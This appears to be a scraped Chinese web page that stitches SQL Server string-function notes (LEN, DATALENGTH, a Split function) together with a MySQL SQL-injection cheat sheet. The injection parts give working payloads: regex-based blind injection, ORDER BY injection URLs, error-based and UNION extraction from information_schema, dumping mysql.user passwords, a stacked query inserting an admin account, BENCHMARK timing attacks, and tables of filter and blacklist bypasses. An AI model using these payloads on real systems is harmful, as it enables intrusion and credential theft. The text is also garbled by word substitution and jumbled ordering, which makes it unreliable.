在存储过程里面将这些字符串分割成一个个单独
分类:巴黎人-数据库

 

//语法结构,函数体由一条return语句组成,最后调用的时候跟查表一样
CREATE FUNCTION [ schema_name. ] function_name 
( [ { @parameter_name [ AS ] [ type_schema_name. ] parameter_data_type 
    [ = default ] } 
    [ ,...n ]
  ]
)
RETURNS TABLE
    [ WITH <function_option> [ ,...n ] ]
    [ AS ]
    RETURN [ ( ] select_stmt [ ) ]
[ ; ]

AND或O宝马X5前边能够跟的字符

20 Space
2B +
2D -
7E ~
21 !
40 @

例子:

SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

dual是一个虚构表,能够用来做测量试验。

 

    DATALENGTH(name) = 2* LEN(name)

其一函数类似于C#中的StartWith(),IndexWith()等函数。

MySql特有的写法

MySql中,/*! SQL 语句 */ 这种格式里面包车型客车 SQL 语句会当符合规律的语句同样被解析。

如果在!之后是一串数字(那串数字正是mysql 数据库的版本号), 如:/*! 12345 SQL 语句 */

当版本号大于等于该数字,SQL 语句则实施,不然就不实行。

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

SQL Server数据库如何取得TEXT字段的内容长度呢?本文大家就来介绍一下SQL
Server数据库怎么着收获TEXT字段的内容长度的办法,是通过DATALENGTH函数来促成的,接下去大家就通过DATALENGTH函数的语法及使用实例来打探一下那有些剧情。

 

第三个:RTRIM() 字符串的末尾起头删除空白字符或任何预约义字符

动用正则表达式进行盲注

我们皆已经领悟,在MYSQL 5+中 information_schema库中蕴藏了装有的 库名,注明以至字段名音讯。故攻击形式如下:

1、判别第一个表名的率先个字符是不是是a-z中的字符,此中blind_sqli是一旦已知的库名。

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2、决断第二个字符是不是是a-n中的字符

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3、鲜明该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4、表明式的退换如下

'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE 

那时候表达表名称叫news ,要表达是还是不是是该申明 正则表达式为'^news$',可是没那要求 直接剖断table_name = 'news' 不就行了。

5、接下去猜解此外表了 只要求修改 limit 1,1 -> limit 2,1就足以连接下来的表进行盲注了。

 

 

第二个:LTRIM() 这么些从字符串右侧删除空格或其余预订义字符

允许的字符

09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space

例子:

'%0A%09UNION%0CSELECT%A0NULL%20%23

括号也得以用来绕过过滤空格的情状:

28 (
29 )

例子:

UNION(SELECT(column)FROM(table))

归来字符表明式中的字符数。若是字符串中包罗前导空格和随行空格,则函数会将它们包涵在计数内。LEN 对一样的单字节和双字节字符串重临同样的值。

USE TEST;

GO

 

--表TEST_COLUMN中两个字段都包含有空格

CREATE TABLE TEST_COLUMN 

(

    "ID  "    INT IDENTITY (1,1),

    [Name ]   VARCHAR(32),

    [Normal]  VARCHAR(32)

);

GO

 

--表[TEST_TABLE ]中包含空格, 里面对应三个字段,一个前面包含空格(后面详细阐述),一个字段中间包含空格,一个字段后面包含空格。

CREATE TABLE [TEST_TABLE ]

(

 

    [ F_NAME]        NVARCHAR(32),

    [M NAME]         NVARCHAR(32),

    [L_NAME ]        NVARCHAR(32)

)

GO

  例子:CustomName包括顾客的First Name和Last Name,它们中间被三个空格隔开分离。大家用CHA传祺INDX函数分明多少个名字中间空格的职位。通过那么些方法,大家得以深入分析ContactName列的空格地点,那样能够只展现那几个列的last name部分。

询问列名

Union方式 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
盲注 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
报错 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在5.1.5版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修复了
利用PROCEDURE ANALYSE() 这个需要web展示页面有你所注入查询的一个字段。 例子: 查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 获得第三个段名

LEN(character_expression),字符串类型的表达式

图片 1

CREATE FUNCTION Split(@Text NVARCHAR(4000),@Sign NVARCHAR(4000))  
RETURNS  @tempTable TABLE(id INT IDENTITY(1,1) PRIMARY KEY,[VALUE] NVARCHAR(4000))  
AS  
BEGIN  
    DECLARE @StartIndex INT                --开始查找的位置  
    DECLARE @FindIndex  INT                --找到的位置  
    DECLARE @Content    VARCHAR(4000)      --找到的值  


    SET @StartIndex = 1                   
    SET @FindIndex=0  

    --开始循环查找字符串逗号  
    WHILE(@StartIndex <= LEN(@Text))  
    BEGIN  
        SELECT @FindIndex = CHARINDEX(@Sign,@Text,@StartIndex)  
        IF(@FindIndex =0 OR @FindIndex IS NULL)  
        BEGIN  
        --如果没有找到者表示找完了  
            SET @FindIndex = LEN(@Text)+1  
        END   
        SET @Content = LTRIM(RTRIM(SUBSTRING(@Text,@StartIndex,@FindIndex-@StartIndex)))  
        --初始化下次查找的位置  
        SET @StartIndex = @FindIndex+1  
        --把找的的值插入到要返回的Table类型中  
        INSERT INTO @tempTable ([VALUE]) VALUES (@Content)   
    END  
    RETURN  
END  

-------------------------------------------------------------------
SELECT * FROM dbo.Split('a,b,c,d,e,f,g',',')  

order by后的流入

oder by由于是排序语句,所以能够选取标准语句做判定,依照再次来到的排序结果不相同判定标准的真伪。

相似包蕴oder也许orderby的变量很恐怕是这种注入,在通晓二个字段的时候能够利用如下格局注入:

原始链接: 依照vote字段排序。

找到投票的数量最大的票的数量num然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是不是变动。

还会有一种艺术无需精通其余字段音讯,使用rand函数:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)

如上四个会回去分裂的排序,决断表名中第一个字符是不是低于128的口舌如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

语法:DATALENGTH ( expression )

其实到了这一步,还没有完,若是三个实例,里面有十八个数据库,那么使用方面这么些剧本,笔者要切换数据库,试行十几回,对于自个儿这种懒人来讲,笔者觉着不可能忍受的。那么必得写

事先作者做过三个gompertz的算法模型,将VBA写的算法,全体用存储进度写出来,里面涉及到比较多的一个人数组,二维数组。小编哪怕用一个个虚构表写的。

数据库认证新闻:

mysql.user
字段 user, password
当前用户 user(), current_user(), current_user, system_user(), session_user()

例子:

SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)

===================================

 

  例子:SELECT SUBSTR (Store_Name, 2, 4) FROM Geography WHERE Store_Name = 'San Diego';

二回查询四个表或列

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] &gt;',table_name,' &gt; ',column_name))))x

例子:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] &gt;',table_name,' &gt; ',column_name))))x), 4--+';

输出结果:

 [ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
 [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
 [ information_schema ] >CHARACTER_SETS > DESCRIPTION
 [ information_schema ] >CHARACTER_SETS > MAXLEN
 [ information_schema ] >COLLATIONS > COLLATION_NAME
 [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
 [ information_schema ] >COLLATIONS > ID
 [ information_schema ] >COLLATIONS > IS_DEFAULT
 [ information_schema ] >COLLATIONS > IS_COMPILED

动用代码:

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

例子:

SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;

出口结果:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority

 

 

  • 率先个参数是要截取的字符串 ;
  • 其次个参数是发端的职位;
  • 其三个参数是截取的尺寸 

服务器主机名:

@@HOSTNAME

例子:

SELECT @@hostname;

 

 

第一个:LEN() 那么些没得说的,便是临近JS中的length

PDO堆查询艺术操作数据库

PHP使用PDO_MYSQL来三番五次数据库,便得以采用堆查询,堆查询能够何况奉行八个语句。

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');

回去类型:int

 

以往大家言归正传!

基于关键字的黑名单

过滤关键字 and or
php代码 preg_match('/(and|or)/i',$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1

上面这种方法你必要已经知晓有些表和字段名(能够利用substring函数去三个一个赢得information_schema.columns表中的数据)

过滤关键字 and or union
php代码 preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤关键字 and, or, union, where, limit
php代码 preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
过滤关键字 and, or, union, where, limit, group by
php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键字 and, or, union, where, limit, group by, select
php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && substr(user,1,1) = 'a'
过滤关键字 and, or, union, where, limit, group by, select, '
php代码 preg_match('/(and|or|union|where|limit|group by|select|')/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤关键字 and, or, union, where, limit, group by, select, ', hex
php代码 preg_match('/(and|or|union|where|limit|group by|select|'|hex)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr
php代码 preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式 1 && lpad(user,7,1)
过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代码 preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr|s)/i', $id)
会过滤的攻击代码 1 && lpad(user,7,1)/td>
绕过方式 1%0b||%0blpad(user,7,1)
过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 || (select user from users where user_id = 1) = 'admin'
绕过方式 1 || (select user from users limit 1) = 'admin'

DATALENGTH用来回到任何表达式所据有的字节数。

 

如此相比较抽象,今后来个实际的接纳的函数。

岁月推移查询:

SLEEP() MySQL 5
BENCHMARK() MySQL 4/5

例子:

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

参数:expression,任何项指标表明式。

 

第五个: SUBSTRING(str, pos, len)  那么些函数类似JS中的substring() 是用来抓出贰个栏位资料中的在那之中一些/截取字符串的三个方法 。

绕过字符串黑名单

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

应用CONCAT()时,任何个参数为null,将赶回null, 推荐使用CONCAT_WS() 。

CONCAT_WS() 函数第二个参数表示用哪些字符间隔所查询的结果。

注释:DATALENGTH 对 varchar、varbinary、text、image、nvarchar 和 ntext
数据类型特别有用,因为那么些数据类型可以积攒可变长度数据。NULL 的DATALENGTH 的结果是 NULL

DECLARE @db_name  NVARCHAR(32);

DECLARE @sql_text NVARCHAR(MAX);

 

DECLARE @db TABLE 

(

    database_name  NVARCHAR(64)

);

 

 

 

INSERT INTO @db

SELECT name FROM sys.databases WHERE state_desc='ONLINE' AND database_id !=2;

 

 

WHILE (1=1)

BEGIN

    SELECT TOP 1 @db_name = database_name FROM @db ORDER BY 1;

    

    IF @@ROWCOUNT = 0 RETURN;

 

    SET @sql_text =N'USE ' + @db_name +';

 

                                    

                    SELECT ''' + @db_name  + '''  as database_name, name, 

                         DATALENGTH(name) as table_name_bytes,

                         LEN(name)          as table_name_character,

                         type_desc,create_date,modify_date 

                    FROM sys.tables

                    WHERE   DATALENGTH(name) != LEN(name) * 2;

                   ';

        PRINT(@sql_text);

 

        EXECUTE(@sql_text);

 

        DELETE FROM @db WHERE database_name=@db_name;

 

END

 

在商铺用云平台做开辟正是麻烦 ,做了成都百货上千职能依然稍微收获,都不能写博客,结果归家了团结要把大脑里面记住的写出来。

测量检验是不是存在注入方法

假:表示查询是不当的 (MySQL 报错/重临页面与原来分歧)

真:表示查询是例行的 (重回页面与原来同样)

共两种情况:

字符串类型查询时: 数字类型查询时: 登陆时:
'
''
"
""
\
AND 1
AND 0
AND true
AND false
1-false 有问题时返回1的结果
1-true 有问题时返回0的结果
2-1 返回与1相同代表可能存在问题
1*56 返回与56相同代表可能存在问题
1*56 返回与1相同代表没有问题
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+

例子:

SELECT * FROM Users WHERE id = '1''';
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

可以接纳过多单双引号,只就算成对出现。

SELECT * FROM Articles WHERE id = '121'''''''''''''

引号后的语句会继续施行。

SELECT '1'''''"" UNION SELECT '2' # 1 and 2

上面包车型地铁标记能够用来解说语句:

# Hash 语法
/* C-style 语法
-- - SQL 语法
;%00 空字节
` 反引号

例子:

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

 

本文由巴黎人手机版发布于巴黎人-数据库,转载请注明出处:在存储过程里面将这些字符串分割成一个个单独

上一篇:没有了 下一篇:没有了
猜你喜欢
热门排行
精彩图文